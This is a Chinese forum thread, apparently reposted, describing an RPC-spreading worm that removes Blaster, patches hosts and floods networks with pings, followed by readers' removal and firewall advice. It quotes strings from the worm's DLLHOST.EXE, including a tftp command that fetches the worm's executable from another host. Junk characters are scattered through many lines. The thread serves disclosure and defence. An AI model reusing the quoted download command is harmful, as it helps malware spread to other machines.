[转帖]最新RPC漏洞病毒.关于最近的疯狂ping

自由居居士

该病毒的特点是将“冲击波”(Worm.Blaster)病

毒干掉，并在系统内值入，预防冲击波病毒的疫苗。
0 \" q$ `% ~6 X4 C* N
3 ^9 s  T$ e4 a' ]然后这个新病毒会尝试从微软网站下载补丁并自动将受感染的系统打上补丁。然

后该病毒会开启数百个的线程PING其它IP地址，并通过RPC漏洞快速传播自己，

% N6 d2 D! S9 Q3 X; e( m/ ^消耗大量CPU和网络资源，并且有可能会导致系统死机。该病毒的作者似乎无意

# Q- n  E) ]6 Q/ D! {作恶，病毒设定在2004年自行毁灭。

由于该病毒采用PING方式进行探测，只感染能够PING通的机器，因此广大用户，

/ B5 p" ]5 e' Q9 W/ |" o3 a设置防火墙的规则，禁止ping，这样可以有效防止该病毒的入侵。
) Z! s6 |2 O3 f- k  e

! O! I5 }8 F# t如果大家在自己 的system32 目录里的WINS目录里发现DLLHOST.EXE 和SVCHOST.EXE那么你肯定中毒了。。请自己在启动里删除。。并且删除这2个文件。。传染比较快。。希望大家安装防护墙，，这是中国人自己编译的病毒

8 x% Q; r) r5 T) oSVCHOST.EXE 大小是19.2K
DLLHOST.EXE 大小是10.K
2 D& P9 _, d7 K' _8 N% ]& r
/ E+ T9 z" M+ e6 |DLLHOST.EXE里面有这样的话!
& f, w; N: |" |5 E5 m9 ~

1 h) {& A1 k+ z/ ~8 b: l引用:

=========== I love my wife & baby ~~~ Welcome Chian~~~ Notice: 2004 will remove myself~~ sorry zhongli~~~=========== wins http://download.microsoft.com/downl...980-x86-KOR.exe ; http://download.microsoft.com/downl...980-x86-CHT.exe ; http://download.microsoft.com/downl...980-x86-CHS.exe ; http://download.microsoft.com/downl...980-x86-ENU.exe ; http://download.microsoft.com/downl...980-x86-KOR.exe ; http://download.microsoft.com/downl...980-x86-CHT.exe ; http://download.microsoft.com/downl...980-x86-CHS.exe ; http://download.microsoft.com/downl...980-x86-ENU.exe ; tftp -i %s get svchost.exe wins\SVCHOST.EXE

+ L9 `* y6 i; W9 R' b+ c* Z这2个文件在在：％Windir％\system32\wins\目录里..（注意:不是：％Windir％\system32\..）

& G- G' C8 C! |; s3 [1 y  d, i8 A: E: T
紧急解决方案：
停止一下两个服务：
9 L2 b  b3 \% U! P+ r) a
Network connections Sharing
WINS Client
" r) z7 P. {3 F! ?! v8 j
在：％Windir％\system32\wins\
, Z1 x* W! }7 Y8 O& z4 h5 S目录下删除：
* Z+ Q5 k, s0 A" I
4 M+ ?. T! G# a, [9 g( h& T5 c! kSVCHOST.EXE
DLLHOST.EXE
0 P3 N- p- H2 A, B2 X3 }
这两个文件，安装防火墙，并禁止PING。

猴子很忙

防火墙跳个不停

wtuje

请问，要是我要共享，又要不受这病毒，那该怎么办，因为我们是共享上网的

有点麻烦。。。。。。。。

把日期改到2004年以后呀

wtuje

唉，没用的，我改到了2005，还是这样 ，要卡的，CPU利用率到快一百了，，我不共享马上就好了，有没有别的办法啊

自由居居士

看来还是取消网络共乡有效啊~~

煎饼

删除染毒文件，安装补丁，然后安装天网防火墙，这样就不会再次感染